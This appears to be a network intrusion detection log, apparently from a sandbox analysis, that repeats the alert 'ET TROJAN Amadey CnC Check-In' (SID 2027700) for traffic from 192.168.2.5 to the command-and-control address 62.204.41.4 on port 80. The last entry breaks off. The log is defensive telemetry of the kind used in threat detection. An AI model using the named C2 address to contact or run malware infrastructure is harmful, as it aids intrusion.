ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450085802027700 02/06/23-14:18:35.682373
SID:	2027700
Source Port:	50085
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449867802027700 02/06/23-14:17:36.742778
SID:	2027700
Source Port:	49867
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450195802027700 02/06/23-14:19:03.888104
SID:	2027700
Source Port:	50195
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449711802027700 02/06/23-14:16:33.781093
SID:	2027700
Source Port:	49711
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449895802027700 02/06/23-14:17:43.567435
SID:	2027700
Source Port:	49895
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449965802027700 02/06/23-14:18:02.723607
SID:	2027700
Source Port:	49965
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450122802027700 02/06/23-14:18:44.731116
SID:	2027700
Source Port:	50122
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450232802027700 02/06/23-14:19:14.756016
SID:	2027700
Source Port:	50232
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449729802027700 02/06/23-14:16:44.339849
SID:	2027700
Source Port:	49729
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449981802027700 02/06/23-14:18:06.537805
SID:	2027700
Source Port:	49981
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450229802027700 02/06/23-14:19:14.024750
SID:	2027700
Source Port:	50229
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450057802027700 02/06/23-14:18:26.865834
SID:	2027700
Source Port:	50057
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449904802027700 02/06/23-14:17:45.863998
SID:	2027700
Source Port:	49904
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449732802027700 02/06/23-14:16:48.097239
SID:	2027700
Source Port:	49732
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449830802027700 02/06/23-14:17:25.114847
SID:	2027700
Source Port:	49830
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449986802027700 02/06/23-14:18:07.762955
SID:	2027700
Source Port:	49986
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450265802027700 02/06/23-14:19:22.827156
SID:	2027700
Source Port:	50265
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449937802027700 02/06/23-14:17:55.913689
SID:	2027700
Source Port:	49937
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449862802027700 02/06/23-14:17:34.385168
SID:	2027700
Source Port:	49862
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450060802027700 02/06/23-14:18:27.627658
SID:	2027700
Source Port:	50060
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450190802027700 02/06/23-14:19:02.698642
SID:	2027700
Source Port:	50190
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449695802027700 02/06/23-14:16:29.833366
SID:	2027700
Source Port:	49695
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449978802027700 02/06/23-14:18:05.789921
SID:	2027700
Source Port:	49978
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449724802027700 02/06/23-14:16:39.798184
SID:	2027700
Source Port:	49724
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450011802027700 02/06/23-14:18:15.710647
SID:	2027700
Source Port:	50011
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450224802027700 02/06/23-14:19:12.834482
SID:	2027700
Source Port:	50224
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450052802027700 02/06/23-14:18:25.625284
SID:	2027700
Source Port:	50052
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450159802027700 02/06/23-14:18:55.306572
SID:	2027700
Source Port:	50159
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449765802027700 02/06/23-14:17:02.563683
SID:	2027700
Source Port:	49765
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450029802027700 02/06/23-14:18:20.040672
SID:	2027700
Source Port:	50029
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450130802027700 02/06/23-14:18:46.681001
SID:	2027700
Source Port:	50130
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450260802027700 02/06/23-14:19:21.606828
SID:	2027700
Source Port:	50260
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449932802027700 02/06/23-14:17:53.704513
SID:	2027700
Source Port:	49932
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449890802027700 02/06/23-14:17:42.348322
SID:	2027700
Source Port:	49890
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449802802027700 02/06/23-14:17:18.144256
SID:	2027700
Source Port:	49802
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449760802027700 02/06/23-14:17:01.327724
SID:	2027700
Source Port:	49760
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449973802027700 02/06/23-14:18:04.598157
SID:	2027700
Source Port:	49973
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449728802027700 02/06/23-14:16:43.785940
SID:	2027700
Source Port:	49728
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449985802027700 02/06/23-14:18:07.516141
SID:	2027700
Source Port:	49985
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449731802027700 02/06/23-14:16:47.855991
SID:	2027700
Source Port:	49731
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449798802027700 02/06/23-14:17:17.167240
SID:	2027700
Source Port:	49798
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449887802027700 02/06/23-14:17:41.597625
SID:	2027700
Source Port:	49887
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450249802027700 02/06/23-14:19:18.949648
SID:	2027700
Source Port:	50249
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449896802027700 02/06/23-14:17:43.821533
SID:	2027700
Source Port:	49896
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449737802027700 02/06/23-14:16:52.313327
SID:	2027700
Source Port:	49737
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450252802027700 02/06/23-14:19:19.663270
SID:	2027700
Source Port:	50252
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449826802027700 02/06/23-14:17:24.159355
SID:	2027700
Source Port:	49826
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450163802027700 02/06/23-14:18:56.264797
SID:	2027700
Source Port:	50163
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450191802027700 02/06/23-14:19:02.948025
SID:	2027700
Source Port:	50191
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450261802027700 02/06/23-14:19:21.842035
SID:	2027700
Source Port:	50261
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450093802027700 02/06/23-14:18:37.648522
SID:	2027700
Source Port:	50093
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449859802027700 02/06/23-14:17:33.007738
SID:	2027700
Source Port:	49859
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450004802027700 02/06/23-14:18:13.908824
SID:	2027700
Source Port:	50004
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450102802027700 02/06/23-14:18:39.827581
SID:	2027700
Source Port:	50102
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450258802027700 02/06/23-14:19:21.108804
SID:	2027700
Source Port:	50258
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450089802027700 02/06/23-14:18:36.683035
SID:	2027700
Source Port:	50089
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449960802027700 02/06/23-14:18:01.488614
SID:	2027700
Source Port:	49960
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449868802027700 02/06/23-14:17:36.986362
SID:	2027700
Source Port:	49868
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449709802027700 02/06/23-14:16:33.287572
SID:	2027700
Source Port:	49709
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449703802027700 02/06/23-14:16:31.801911
SID:	2027700
Source Port:	49703
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449810802027700 02/06/23-14:17:20.127758
SID:	2027700
Source Port:	49810
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449957802027700 02/06/23-14:18:00.788642
SID:	2027700
Source Port:	49957
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450092802027700 02/06/23-14:18:37.397614
SID:	2027700
Source Port:	50092
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450179802027700 02/06/23-14:19:00.072207
SID:	2027700
Source Port:	50179
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449827802027700 02/06/23-14:17:24.402563
SID:	2027700
Source Port:	49827
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449756802027700 02/06/23-14:17:00.296702
SID:	2027700
Source Port:	49756
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450233802027700 02/06/23-14:19:15.000212
SID:	2027700
Source Port:	50233
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449929802027700 02/06/23-14:17:52.146320
SID:	2027700
Source Port:	49929
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449797802027700 02/06/23-14:17:16.911714
SID:	2027700
Source Port:	49797
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450032802027700 02/06/23-14:18:20.769004
SID:	2027700
Source Port:	50032
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449740802027700 02/06/23-14:16:53.015336
SID:	2027700
Source Port:	49740
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449994802027700 02/06/23-14:18:09.678156
SID:	2027700
Source Port:	49994
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450121802027700 02/06/23-14:18:44.477396
SID:	2027700
Source Port:	50121
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450162802027700 02/06/23-14:18:56.026170
SID:	2027700
Source Port:	50162
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450073802027700 02/06/23-14:18:32.799222
SID:	2027700
Source Port:	50073
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449900802027700 02/06/23-14:17:44.895342
SID:	2027700
Source Port:	49900
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449941802027700 02/06/23-14:17:56.852297
SID:	2027700
Source Port:	49941
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450217802027700 02/06/23-14:19:11.137962
SID:	2027700
Source Port:	50217
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449953802027700 02/06/23-14:17:59.850998
SID:	2027700
Source Port:	49953
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449944802027700 02/06/23-14:17:57.633329
SID:	2027700
Source Port:	49944
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450119802027700 02/06/23-14:18:44.008779
SID:	2027700
Source Port:	50119
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449855802027700 02/06/23-14:17:31.349237
SID:	2027700
Source Port:	49855
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450036802027700 02/06/23-14:18:21.758203
SID:	2027700
Source Port:	50036
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450208802027700 02/06/23-14:19:07.190881
SID:	2027700
Source Port:	50208
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449769802027700 02/06/23-14:17:03.541604
SID:	2027700
Source Port:	49769
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449938802027700 02/06/23-14:17:56.145928
SID:	2027700
Source Port:	49938
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450220802027700 02/06/23-14:19:11.858797
SID:	2027700
Source Port:	50220
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450045802027700 02/06/23-14:18:23.896931
SID:	2027700
Source Port:	50045
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449883802027700 02/06/23-14:17:40.633559
SID:	2027700
Source Port:	49883
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450051802027700 02/06/23-14:18:25.382182
SID:	2027700
Source Port:	50051
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449916802027700 02/06/23-14:17:48.720590
SID:	2027700
Source Port:	49916
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450134802027700 02/06/23-14:18:47.648864
SID:	2027700
Source Port:	50134
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449785802027700 02/06/23-14:17:07.425626
SID:	2027700
Source Port:	49785
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449972802027700 02/06/23-14:18:04.364385
SID:	2027700
Source Port:	49972
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450106802027700 02/06/23-14:18:40.803738
SID:	2027700
Source Port:	50106
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449966802027700 02/06/23-14:18:02.959272
SID:	2027700
Source Port:	49966
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450017802027700 02/06/23-14:18:17.179298
SID:	2027700
Source Port:	50017
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449712802027700 02/06/23-14:16:34.380434
SID:	2027700
Source Port:	49712
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449801802027700 02/06/23-14:17:17.902350
SID:	2027700
Source Port:	49801
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449925802027700 02/06/23-14:17:50.890187
SID:	2027700
Source Port:	49925
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450236802027700 02/06/23-14:19:15.762067
SID:	2027700
Source Port:	50236
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449842802027700 02/06/23-14:17:28.111422
SID:	2027700
Source Port:	49842
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449753802027700 02/06/23-14:16:59.551732
SID:	2027700
Source Port:	49753
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449699802027700 02/06/23-14:16:30.811358
SID:	2027700
Source Port:	49699
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449772802027700 02/06/23-14:17:04.254514
SID:	2027700
Source Port:	49772
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450188802027700 02/06/23-14:19:02.215108
